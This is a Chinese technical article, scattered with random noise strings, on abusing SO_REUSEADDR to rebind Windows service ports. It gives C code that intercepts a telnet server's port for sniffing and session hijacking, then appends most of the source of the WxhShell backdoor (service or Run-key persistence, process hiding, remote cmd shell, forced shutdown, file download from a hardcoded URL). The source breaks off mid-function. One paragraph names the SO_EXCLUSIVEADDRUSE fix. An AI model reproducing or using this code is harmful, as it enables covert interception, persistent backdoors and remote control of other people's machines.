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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E9~Ghx. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ki85!k=Q2 S#+h$UVh saddr.sin_family = AF_INET; M)U{7c$c7 ,_Z+8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); =jN*P? w Xsmn1w9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fMOU$0]$< TYy.jFT- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)oyIe) y\a1iy 这意味着什么?意味着可以进行如下的攻击: 5H ue7'LS L21VS ,#I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I
:vs;- Z?\2F% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xP [n B'fb^n< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }K&7%N4LZ ?]*^xL;x? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _'(, 0zi~p>*nJC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +(h\fm7*- ~8]NK&J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NgY=&W, Rb.SY{}C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 62Z#YQ}x #W|'1
OX4 #include )'~6HO8Z #include 9M:O0) s #include PS[+~>% #include |]c8jG\h DWORD WINAPI ClientThread(LPVOID lpParam); v-PXZ'7~ int main() } q$ WvY/ { <>8WQn,K WORD wVersionRequested; ^pYxKU_O DWORD ret; 9pX&ZjYP- WSADATA wsaData; &sU?Ok6 BOOL val; o}$EG SOCKADDR_IN saddr; ](s'L8(x SOCKADDR_IN scaddr; WS`qVL]^& int err; iB498t SOCKET s; M#8uv-L SOCKET sc; sashzVwJ-= int caddsize; |g//g\dd HANDLE mt; |fHV2Y`:g DWORD tid; F 9@h|#an wVersionRequested = MAKEWORD( 2, 2 ); WUh$^5W err = WSAStartup( wVersionRequested, &wsaData ); aL&n[
if ( err != 0 ) { wf:OK[r9 printf("error!WSAStartup failed!\n"); eb =D/ return -1; +w+}b^4 } c5u@pvSP saddr.sin_family = AF_INET; < Pky9o; Ym =FgM\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #N`~xZ|$ RE/~#k@a saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5Er2}KZJv, saddr.sin_port = htons(23); Y4v|ko`l% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RH&~+5 { (G[
*|6m printf("error!socket failed!\n"); 50o~ P!Lz| return -1; dF2nEaN0% } Np"exFqN k val = TRUE; !lj| cT9 //SO_REUSEADDR选项就是可以实现端口重绑定的 mD^jd+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1q,{0s_kp {
.p e( lP printf("error!setsockopt failed!\n"); BS:+~| 3w return -1; j4^9 7 } eep1I
:N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bi
@2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d2H|LMhJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R5X.^u Yi$vg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *U
P@9D { SUU !7Yd| ret=GetLastError(); p_${Nj printf("error!bind failed!\n"); =*r])Vg^ return -1; .MP !` } e,Uo#T6J listen(s,2); d~1gMz+) while(1) cT!\{~ { `Ch9~*p caddsize = sizeof(scaddr);
?B}{GL2) //接受连接请求 MMx9(`t*. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +O*/"]h if(sc!=INVALID_SOCKET) E: $P=%b { id2j7|$, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^$'z!+QRM if(mt==NULL) 0a-0Y&lQm { Vv.|br`;} printf("Thread Creat Failed!\n"); Na?!;1]_ break; 5*,f
Fib } )~HUo9K9 } X ><?F|#7T CloseHandle(mt); 93`
AWg/T } tavpq.0O closesocket(s); P dhEQ}H WSACleanup(); :[hgxJu+ return 0; ;3B1_vo9 } Zw ^kmSL" DWORD WINAPI ClientThread(LPVOID lpParam) OslL~< { gT#&"aP5S SOCKET ss = (SOCKET)lpParam; \\u<S=G SOCKET sc; a*ushB unsigned char buf[4096]; g!+|I SOCKADDR_IN saddr; =1 Oj*x@*4 long num; |ayVjqJ* DWORD val; 'Pn3%&O$ DWORD ret; uFPF!Ern //如果是隐藏端口应用的话,可以在此处加一些判断 DW_1,:,?7l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 jN6uT&{T saddr.sin_family = AF_INET; CB/D4j; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w6{TE(]zp saddr.sin_port = htons(23); y6[If cN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !,Va(E|= { ysQ,)QoiR{ printf("error!socket failed!\n"); ak |WW]R return -1; )`A3M) } 7,lq}a8z val = 100; hR
Ue<0o: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IbP#_Vt { F=a<~EpZ ret = GetLastError(); Te}8!_ohyC return -1; VI'hb'2 } 2L} SJUk* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f=mZu1(FZ { -U/c\-~fU ret = GetLastError(); 6T#+V37 return -1; WzF !6n!h
}
?l^1 *Q, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kT'u1q$3Vo { '-"/ =j&d[ printf("error!socket connect failed!\n"); Ksy -e{n closesocket(sc); dK2p7xo closesocket(ss); T3pmVl return -1; kMt 8/ E` } "t_-f7fS7 while(1) e[/dv)J { x*nSHb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \8 h;K>=h //如果是嗅探内容的话,可以再此处进行内容分析和记录 *UmI]E{g3( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )_i
qAqkS num = recv(ss,buf,4096,0); 371
TvZ4 if(num>0) L>a send(sc,buf,num,0); /(BMG/Tb else if(num==0) tGl;@V@Qj break; !gv`FE9y num = recv(sc,buf,4096,0); naw0$kXTA if(num>0) [.S#rGYk send(ss,buf,num,0); '_/Bp4i else if(num==0) ;F~LqC$ break; v!ujj5-$I } Qe5U<3{JZ closesocket(ss); E8n)}[k!0 closesocket(sc); HsHB!mQV return 0 ; NZ-\h } Y>E zTV /Ya_>+oo ulkJR-""& ========================================================== X90J! <B6&I$Wc+ 下边附上一个代码,,WXhSHELL Z]j*9#G1s EVVP]ND ========================================================== B,@c;K :SGF45>B@ #include "stdafx.h" K_El& j
S?xk #include <stdio.h> S<WdZ=8sA #include <string.h> >9(hUH #include <windows.h> tdSfi<y5I #include <winsock2.h> mysetv&5 #include <winsvc.h> /~Z?27F6@ #include <urlmon.h> :I:!BXQT$ #z2rzM@/: #pragma comment (lib, "Ws2_32.lib") sZL#xZ5
Df #pragma comment (lib, "urlmon.lib") J]G?Rc _`_%Y(Xat #define MAX_USER 100 // 最大客户端连接数 LX@/RAd vz #define BUF_SOCK 200 // sock buffer OV%Q3$15 #define KEY_BUFF 255 // 输入 buffer 9v}G{mQ# ni6{pK4Wqm #define REBOOT 0 // 重启 3'c0#h@VD #define SHUTDOWN 1 // 关机 &znQ;NH# +S R+x/?z #define DEF_PORT 5000 // 监听端口 Fx
$Q;H!. 839IRM@'5 #define REG_LEN 16 // 注册表键长度 yI ld75S` #define SVC_LEN 80 // NT服务名长度 1e>s{ 9P~\Mpk // 从dll定义API (q4),y<:[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &s$(g~ 4gC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BVr0Gk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %c
[F;ug typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9uer(}WKT P#_sg0oJF // wxhshell配置信息 GHsilba struct WSCFG { wmTq` XH) int ws_port; // 监听端口 {2+L@ char ws_passstr[REG_LEN]; // 口令 e?Ho a$k int ws_autoins; // 安装标记, 1=yes 0=no y-j\zK char ws_regname[REG_LEN]; // 注册表键名 T[sDVkCbxf char ws_svcname[REG_LEN]; // 服务名 qOUqs'7/] char ws_svcdisp[SVC_LEN]; // 服务显示名 V\{tmDE char ws_svcdesc[SVC_LEN]; // 服务描述信息 qWx][D" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sz)oZPu| int ws_downexe; // 下载执行标记, 1=yes 0=no 7\9>a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" C%U`"-%n@7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GD:4"$)[o X*,%&6O* }; FP>)&3>_ x#Q>J"g // default Wxhshell configuration \N4
y< struct WSCFG wscfg={DEF_PORT, u_'!_T L "xuhuanlingzhe", :pF_GkG 1, A5H3%o(6k "Wxhshell", Vm df8[5 "Wxhshell", wo3wtx "WxhShell Service", zt<WXw( "Wrsky Windows CmdShell Service", ~{D[
>j][ "Please Input Your Password: ", +]|Z%;im 1, Xu>r~^w=S " http://www.wrsky.com/wxhshell.exe",
WJ
d%2pO] "Wxhshell.exe" h[?O+Z^ }; V %_4% 8> .J1C // 消息定义模块 Hsihytdj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -YjA+XP char *msg_ws_prompt="\n\r? for help\n\r#>"; 4WN3=B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^<:sdv>Y5 char *msg_ws_ext="\n\rExit."; d)[;e() char *msg_ws_end="\n\rQuit."; ]/!<PF char *msg_ws_boot="\n\rReboot..."; |8.(XsN char *msg_ws_poff="\n\rShutdown..."; sz9G3artK& char *msg_ws_down="\n\rSave to "; Fk6x<^Q<w Z1h] char *msg_ws_err="\n\rErr!"; sT/c_^y char *msg_ws_ok="\n\rOK!"; b-Z4
Jo
G v|ck>_"
. char ExeFile[MAX_PATH]; 7-~Q5Kr. int nUser = 0; I"t(%2*q HANDLE handles[MAX_USER]; Hi
yc#-4 int OsIsNt; O0:)X)b A+&xMM2Wj SERVICE_STATUS serviceStatus; O$g_@B0E1 SERVICE_STATUS_HANDLE hServiceStatusHandle; $XU5??8 ZZj~GQL(S // 函数声明 Y9=(zOqv int Install(void); 2qHf' int Uninstall(void); `s]4AKBO int DownloadFile(char *sURL, SOCKET wsh); z*a8sr int Boot(int flag); 5PIZh< void HideProc(void); kwud?2E int GetOsVer(void); a|BcnYN int Wxhshell(SOCKET wsl); 6ATtW+sN ] void TalkWithClient(void *cs); #"ftI7=42 int CmdShell(SOCKET sock); +xXH2b$wWC int StartFromService(void); tj*y)28- int StartWxhshell(LPSTR lpCmdLine); Z Dhx5SL& BT_tOEL# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IhiGP
{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;&b%Se@#p aZk&`Jpz // 数据结构和表定义 \#rO!z
d SERVICE_TABLE_ENTRY DispatchTable[] = kL90&nP { e/8z+H^H {wscfg.ws_svcname, NTServiceMain}, >m'x8xB= {NULL, NULL} mF09U(ci }; u=&Bmn_ @cq`:_.[ // 自我安装 UzKFf&-:;K int Install(void) Ao7 `G': { vU*x2fVb} char svExeFile[MAX_PATH]; gr-x|wK HKEY key; dp5f7>]:( strcpy(svExeFile,ExeFile);
tehUD& xAwf49N~ // 如果是win9x系统,修改注册表设为自启动 .9|uQEL if(!OsIsNt) { %gcc
y| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p\bFdxv# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .1 QgK RegCloseKey(key); x3e]d$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O}#yijU3e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DP7C?}( RegCloseKey(key); d'l$$%zJ return 0; ArI]`h'W } }4nT.!5
} WA)Ij(M8 p } S^cH}-+ else { S*)o)34U `BnP[jF // 如果是NT以上系统,安装为系统服务 }t>q9bZ9z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /.=r>a}l if (schSCManager!=0) VG*'"y*%w { -U>7
H`5 SC_HANDLE schService = CreateService !Zbesp KZ ( >&H~nGP. schSCManager, @ERu>nSP wscfg.ws_svcname, vN{-?
wscfg.ws_svcdisp, }#= Od e SERVICE_ALL_ACCESS, ^p_u.P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zfjTQMaxh SERVICE_AUTO_START, y67uH4&Vm SERVICE_ERROR_NORMAL, ?An,-N-ezf svExeFile, =p&sl;PsLw NULL, el'j&I NULL, H/+{e,SW" NULL, C=VIT*= NULL, MB*u-N0v NULL W3LP
~ ); 4&N$: j< if (schService!=0) IMad$AKc { "E>t,
D CloseServiceHandle(schService); Y&,rTa CloseServiceHandle(schSCManager); =w<VT% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n9fk,3 strcat(svExeFile,wscfg.ws_svcname); Q#WE|,a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (5;D7zdA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r] t )x* RegCloseKey(key); M}!A]@ return 0; 'XTs
-= } w &vhWq } e~Hr(O+;e6 CloseServiceHandle(schSCManager); !"! ii$@ } L#j|2H| } 797X71> 9bEM#Hj return 1; )C}KR`" } 0VIZ=-e B~_Spp // 自我卸载 -SJSTO[/J int Uninstall(void) baIbf@t/ { a`38db(z HKEY key; 5w-JPjH >tEK+Y|N} if(!OsIsNt) { rBevVc![ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lf8xL9v RegDeleteValue(key,wscfg.ws_regname); !~d'{sy6 RegCloseKey(key); vfXJYw+6_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hrT%XJl RegDeleteValue(key,wscfg.ws_regname); taCCw2s-8* RegCloseKey(key); "=ElCaP} return 0; tzNaw %\ } O!];_q/ } qsvpW%?aE } 3`rIV*&_{ else { ~BQV]BJ7 %|jzEBz@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qwP $~Bj if (schSCManager!=0) ,|iy1yg( { Wo2v5- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F(E<,l2[ if (schService!=0) <c\]Ct { 6s5b$x if(DeleteService(schService)!=0) { tO4):i1 CloseServiceHandle(schService); (s Jq;Z CloseServiceHandle(schSCManager); 0T1ko,C!,e return 0; S" {GlRpd } =
uk`pj[l CloseServiceHandle(schService); yP%o0n/"x } ;'hi9L CloseServiceHandle(schSCManager); +]_nbWL(% } 1wbTqc } a!?.F_T9A w`0)x5
TGR return 1; S{ey@X( } b^%?S8]h 'X|v+? // 从指定url下载文件 Cv P`2S\ int DownloadFile(char *sURL, SOCKET wsh) /_HwifRQ { Gj5>Y!9 HRESULT hr; s{cKBau char seps[]= "/"; =Iy/cHK char *token; E;xMPK$ char *file; BL0|\&*1 char myURL[MAX_PATH]; ?LR"hZ> char myFILE[MAX_PATH]; K`~BL=KI l`G(O$ct strcpy(myURL,sURL); U|9U(il token=strtok(myURL,seps); rv`2*B while(token!=NULL) )F
+nSV; { %8a=mQl1^ file=token; -`Da`ml token=strtok(NULL,seps); Ew>~a8!Fq } G&.d)NfE L#`7 FaM? GetCurrentDirectory(MAX_PATH,myFILE); ZU)BJ!L,s strcat(myFILE, "\\"); 0GS{F8f~, strcat(myFILE, file); vJ~4D*(]l send(wsh,myFILE,strlen(myFILE),0); 4 |FRg send(wsh,"...",3,0); +O&RBEa[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T=^jCH & if(hr==S_OK) Y+!Ouc!$ return 0; 4=~ 9v else BXNI(7xi return 1; ^WmGo]<B_ qbEKp HnB } "3\oQvi. ]cn/(U` // 系统电源模块 3fm;r5 int Boot(int flag) .4H_Zt[2 { fS5GICx8R HANDLE hToken; 6 #-6Bh)>4 TOKEN_PRIVILEGES tkp; J 5Wz4`' TNyK@~#m if(OsIsNt) { ?@3#c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tld1P69( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P#w}3^ tkp.PrivilegeCount = 1; z\e>DdS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kuWK/6l4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8$2l^ if(flag==REBOOT) { J"/JRn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JX2mTQ return 0; o9_(DJ<{ } F5<"ktnI else { "L9C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NE$VeW+@ return 0; >{j,+$%kp } <P+G7!KZ& } 6W)xj6<@ else { I++W0wa.n if(flag==REBOOT) { }%-UL{3% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [LJ705t return 0; cYZwWMzp } T[i7C3QS else { +L^A:}L( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @`w' return 0; g,00'z_D } +CsI,Uf4* } B0-4ZT :*mA,2s return 1; zkjPLeX } "WF(
6z# u3Zzu \{ // win9x进程隐藏模块 Z-N-9E void HideProc(void) mA&RN"+V { u}JQTro 03X<x| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gGtep*k if ( hKernel != NULL ) ddUjs8VvJ { P`\m9"7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hKk\Y{wv' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "wT~$I" FreeLibrary(hKernel); Ck ~V5 } Q3B'-BZe '#cT4_D^lI return; opUKrB } B(4:_j\2 xFsB?d // 获取操作系统版本 O ,Pl7x%tK int GetOsVer(void) 5]4<!m { JLy)}8I OSVERSIONINFO winfo; dD/29b( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $\YLmG GetVersionEx(&winfo); K#9(|2J% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xZ9}8*Q&: return 1; jSeA%Te else 9#Aipu\ return 0; W2r6jm! } CX&yjT6` (ybtXoQs // 客户端句柄模块 <F#*:Re_y int Wxhshell(SOCKET wsl) RE`J"& { 877EKvsiC SOCKET wsh; }#\;np struct sockaddr_in client; 3<zTkI DWORD myID; X/`#5<x RvyBg:Aj5 while(nUser<MAX_USER) H0D>A<Ue { G*vpf~q? int nSize=sizeof(client); _e:5XQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qrkRD*a if(wsh==INVALID_SOCKET) return 1; ecY ^C3+S h9Tf@]W
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z!]U&Ax`Z if(handles[nUser]==0) !OuTXa,IH closesocket(wsh); -CU7u=*b else zulf%aaL nUser++; K\^&_#MG } G)tq/`zNw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JGSk4 TzevC$m;z return 0; L!8 -:)0b } 0XQ".:+h 8aZey_Hw;+ // 关闭 socket z~}StCH( void CloseIt(SOCKET wsh) 9U }MXY0 { U>L=.\\| closesocket(wsh); OU)p)Y_z nUser--; j?f,~Y<k ExitThread(0); oxCs* } `jUS{ 3^ r_g\_y7ua // 客户端请求句柄 j;AzkReb void TalkWithClient(void *cs) vHI"C % { I(?|Ox9"? t'=~"?T/o SOCKET wsh=(SOCKET)cs; &aevR^f+ char pwd[SVC_LEN]; MOqA$b char cmd[KEY_BUFF]; ^+-L;XkeY char chr[1]; xPfnyAo?%z int i,j; S\v&{ DETajf/<F while (nUser < MAX_USER) { $Va]vC8? t0asW5f if(wscfg.ws_passstr) { (!>g8=`" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2,XqslB) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j3rv2W\ //ZeroMemory(pwd,KEY_BUFF); hyvV%z Z i=0; uu@'02G8 while(i<SVC_LEN) { UwL"%0u @8<uAu% // 设置超时 @rK>yPhf fd_set FdRead; vU$O{|J struct timeval TimeOut; owpJ7S1~ FD_ZERO(&FdRead); 8v)~J}[ Bz FD_SET(wsh,&FdRead); tls6rto TimeOut.tv_sec=8; h[`Op#^x3 TimeOut.tv_usec=0; F&L?J_= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [q>i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <0Egkz3s ?;KJ
(@Va if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Etr8lm E pwd =chr[0]; Wse*gO if(chr[0]==0xd || chr[0]==0xa) { #`#aSqGmc pwd=0; ]g-qWSKU break; v/TlXxfil } ETWmeMN i++; QRmQ> } XFf+efh f/[?5M[ // 如果是非法用户,关闭 socket }Mb'tGW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N13;hB< } L^al1T 7E75s)KH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "MS`d+rf\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iQ}sp64 q(ET)xCeD while(1) { d7K17KiC io?{ew ZeroMemory(cmd,KEY_BUFF); ]I' xLh` m2<
* // 自动支持客户端 telnet标准 K"6+X|yxE j=0; DdS3<3]A while(j<KEY_BUFF) { Lz>{FOR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~S=fMv^BR cmd[j]=chr[0]; QGz3id6 if(chr[0]==0xa || chr[0]==0xd) { #z^1)7 cmd[j]=0; ?eVuz x break; }L7F
g%, } 09;'z j++; k$x
'v# } {_X1&&>8/ ![hhPYmV // 下载文件 8YLZ)k' if(strstr(cmd,"http://")) { 6M vRR send(wsh,msg_ws_down,strlen(msg_ws_down),0); : )"jh` if(DownloadFile(cmd,wsh)) W;g+R- send(wsh,msg_ws_err,strlen(msg_ws_err),0); =qR7-Q8B else `::'UfHc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C\>Mt } W!0 else { Qnb?hvb"d I;.E}k switch(cmd[0]) { B';>Hk (5DGs_> // 帮助 P<JkRX case '?': { Wu;|(2I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FITaL@{c break; Odjd`DD1 } QOy&!6 // 安装 z,x"vK( case 'i': { QT l._j@ if(Install()) YM*6W? send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYnq x>L ~ else >A( C9_\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XoiYtx53 break; &vvx" } 18tQWI$ // 卸载 9Kx:^~}20o case 'r': { gN'i+mQcu if(Uninstall()) -2ij;pkIW$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); zjh9ZLu[ else &j@J<*k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ_)Cl+5E break; Ns= b&Uyc } >^GCSPe // 显示 wxhshell 所在路径 207oEO] case 'p': { v/+}FS= char svExeFile[MAX_PATH]; O36r
,/X strcpy(svExeFile,"\n\r"); q/-j`'A_pb strcat(svExeFile,ExeFile); 6 |qvo+% send(wsh,svExeFile,strlen(svExeFile),0); %FFm[[nxI break; b!~%a } 7kpW1tjY // 重启 zP'pfBgbJW case 'b': { ^J~4~! send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z n8ig/C if(Boot(REBOOT)) Y]Vc}-a(h send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cj\+u\U# else { G-?9;w'@ closesocket(wsh); q0Lt[*q3R ExitThread(0); #$C]0]| } <@!kR$Rd break; @W- f{V } [E1|jcmQ // 关机 m1i$>9, case 'd': { Nb^:_0&H@ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &+^ Y>Ke if(Boot(SHUTDOWN)) ;iNx@tz4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); gc[J.[ else { &'\+Z closesocket(wsh); ''Ec-b6Q- ExitThread(0); svjFy/T(lL } $%8n,FJ[ break; i3j jPN! } $KHDS:& // 获取shell iquGLwJ case 's': { v 8a CmdShell(wsh); wh+ibH}@! closesocket(wsh); XQ;dew+ ExitThread(0); G_4P)G3H break; j/|qge4 } |T"q,i9% // 退出 *3($s_r> case 'x': { *3Z#r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y36aoKH CloseIt(wsh); C YKGf1;If break; 4jro4B` } :''0z // 离开 ?7a[|-
case 'q': { boovCW send(wsh,msg_ws_end,strlen(msg_ws_end),0); qrYeh`Mv closesocket(wsh); _'a4I; WSACleanup(); 7z&u92dJI exit(1); I!'(>VlP7 break; n(VMGCZPV } HX*U2<^ } -;z\BW5y } f|5|n>* ,DLNI0uV // 提示信息 a9Rh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r'?&VS-Cj } +?tNly` } ;\.&FMi H/f=
2b return; o*'3N/D~ } xw
Qkk | 'G$}]H // shell模块句柄 6}2Lt[>O int CmdShell(SOCKET sock) '9XwUQx { `#F>?g$2 STARTUPINFO si; n\U6oJN ZeroMemory(&si,sizeof(si)); j)Gr@F> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C?k4<B7V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C%"@|01cO PROCESS_INFORMATION ProcessInfo; (fS4qz:&l char cmdline[]="cmd"; S)?B
I CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T^t`Hp return 0; #D8)rs.9 } `h#JDcT;a akoI LX~u // 自身启动模式 =6:Iv"< int StartFromService(void) yMxS'j1 { $2 0*&4y^ typedef struct 0)#I5tEre { ?##GY;# DWORD ExitStatus; e2v,#3Q\ DWORD PebBaseAddress; O.!?O( DWORD AffinityMask; xgVt0=q DWORD BasePriority; +dRTHz ULONG UniqueProcessId; xhv)rhu@ ULONG InheritedFromUniqueProcessId; )`a R?_ } PROCESS_BASIC_INFORMATION; XUWza=BR" ;|c, PROCNTQSIP NtQueryInformationProcess; ^`$KN0PY <JlKtR&nSo static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'tc$#f^: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &o(?
}W
